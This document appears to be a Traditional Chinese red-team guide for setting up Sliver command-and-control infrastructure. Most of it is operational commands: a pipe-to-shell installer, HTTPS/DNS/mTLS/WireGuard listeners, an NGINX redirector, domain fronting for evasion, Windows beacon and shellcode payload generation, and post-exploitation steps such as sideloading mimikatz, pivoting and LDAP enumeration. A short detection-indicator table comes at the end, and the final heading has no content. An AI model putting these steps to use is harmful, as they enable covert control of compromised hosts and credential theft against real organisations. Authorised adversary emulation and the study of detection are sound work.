使用 Sliver 框架建構 C2 基礎設施 是做什麼的?
概述
Sliver 是由 BishopFox 開發的開放原始碼跨平台對手模擬框架,以 Go 語言撰寫。它為紅隊提供酬載生成、多協定 C2 通道(mTLS、HTTP/S、DNS、WireGuard)、多操作員支援以及廣泛的後滲透能力。Sliver 支援信標(非同步)與工作階段(互動式)模式,適用於長期潛伏操作與互動式利用。一套妥善架構的 Sliver 基礎設施會使用重定向器、網域前端與 HTTPS 憑證來維持操作韌性並避免偵測。
使用時機
- 當需要部署或配置使用 Sliver 框架建構 C2 基礎設施的能力於您的環境中時
- 當需要建立符合合規要求的安全控制措施時
- 當需要建構或改善此領域的安全架構時
- 當需要執行需要此實作的安全評估時
先決條件
- 熟悉紅隊概念與工具
- 具備用於安全執行的測試或實驗室環境
- 已安裝 Python 3.8+ 及所需相依套件
- 已取得任何測試活動的適當授權
目標
- 在強化的雲端基礎設施上部署 Sliver 團隊伺服器
- 配置 HTTPS、mTLS、DNS 與 WireGuard 監聽器
- 為目標平台生成酬載(信標與工作階段)
- 在酬載與團隊伺服器之間設置 NGINX 或 Apache 重定向器
- 實作 Cloudflare 或基於 CDN 的網域前端以混淆流量
- 配置基於憑證驗證的多操作員存取
- 建立 C2 通訊的操作安全控制措施
MITRE ATT&CK 對應
- T1071.001 - 應用層協定:網頁協定
- T1071.004 - 應用層協定:DNS
- T1573.002 - 加密通道:非對稱加密
- T1090.002 - 代理:外部代理(重定向器)
- T1105 - 進入工具轉移
- T1132.001 - 資料編碼:標準編碼
- T1572 - 協定隧道
工作流程
階段 1:團隊伺服器部署
- 為團隊伺服器佈建一台 VPS(例如 DigitalOcean、Linode、AWS EC2)
- 強化作業系統:停用 SSH 密碼驗證、配置 UFW/iptables、安裝 fail2ban
- 使用官方安裝腳本安裝 Sliver:
curl https://sliver.sh/install | sudo bash
- 啟動 Sliver 伺服器常駐程式:
systemctl start sliver
sliver-server
- 為團隊成員產生操作員配置文件:
new-operator --name operator1 --lhost <team-server-ip>
階段 2:監聽器配置
- 配置使用合法 SSL 憑證的 HTTPS 監聽器:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- 配置用於備援 C2 的 DNS 監聽器:
dns --domains c2dns.example.com --lport 53
- 配置用於高安全性工作階段的 mTLS 監聽器:
mtls --lhost 0.0.0.0 --lport 8888
- 配置用於隧道存取的 WireGuard 監聽器:
wg --lport 51820
階段 3:重定向器設定
- 部署一台獨立的 VPS 作為重定向器(位於目標與團隊伺服器之間)
- 安裝並配置 NGINX 作為反向代理:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- 在團隊伺服器上配置 iptables 規則,僅接受來自重定向器的連線:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- 可選擇在重定向器前方設定 Cloudflare 作為 CDN 層以實現網域前端
階段 4:酬載生成
- 生成 HTTPS 信標酬載:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- 為受限網路生成 DNS 信標:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- 生成用於注入的 shellcode 酬載:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- 配置信標抖動與回呼間隔:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
階段 5:後滲透操作
- 與活躍的信標/工作階段互動:
beacons
use <beacon-id>
- 執行後滲透模組:
ps
netstat
execute-assembly /path/to/Seatbelt.exe -group=all
sideload /path/to/mimikatz.dll
- 設定用於內部網路存取的跳板:
pivots tcp --bind 0.0.0.0:9898
- 使用 BOF(Beacon Object Files)進行記憶體內執行:
armory install sa-ldapsearch
sa-ldapsearch -- "(objectClass=user)"
工具與資源
| 工具 | 用途 | 平台 |
|---|
| Sliver Server | C2 團隊伺服器與酬載管理 | Linux/macOS/Windows |
| Sliver Client | 團隊成員的操作員控制台 | 跨平台 |
| NGINX | 重定向器與反向代理 | Linux |
| Certbot | Let's Encrypt SSL 憑證生成 | Linux |
| Cloudflare | CDN 與網域前端 | 雲端 |
| Armory | Sliver 擴充/BOF 套件管理員 | 內建 |
偵測特徵
| 指標 | 偵測方法 |
|---|
| 預設 Sliver HTTP 標頭 | 網路流量異常 User-Agent 字串分析 |
| 非標準埠的 mTLS 流量 | 防火牆記錄中不正常埠的傳出連線 |
| 高熵值的 DNS TXT 記錄查詢 | DNS 記錄分析以偵測編碼後的 C2 流量 |
| 連接埠 51820 上的 WireGuard UDP 流量 | 網路流量分析中 WireGuard 交握模式 |
| Sliver 酬載檔案雜湊值 | EDR/AV 特徵比對已知 Sliver 樣本 |
驗證標準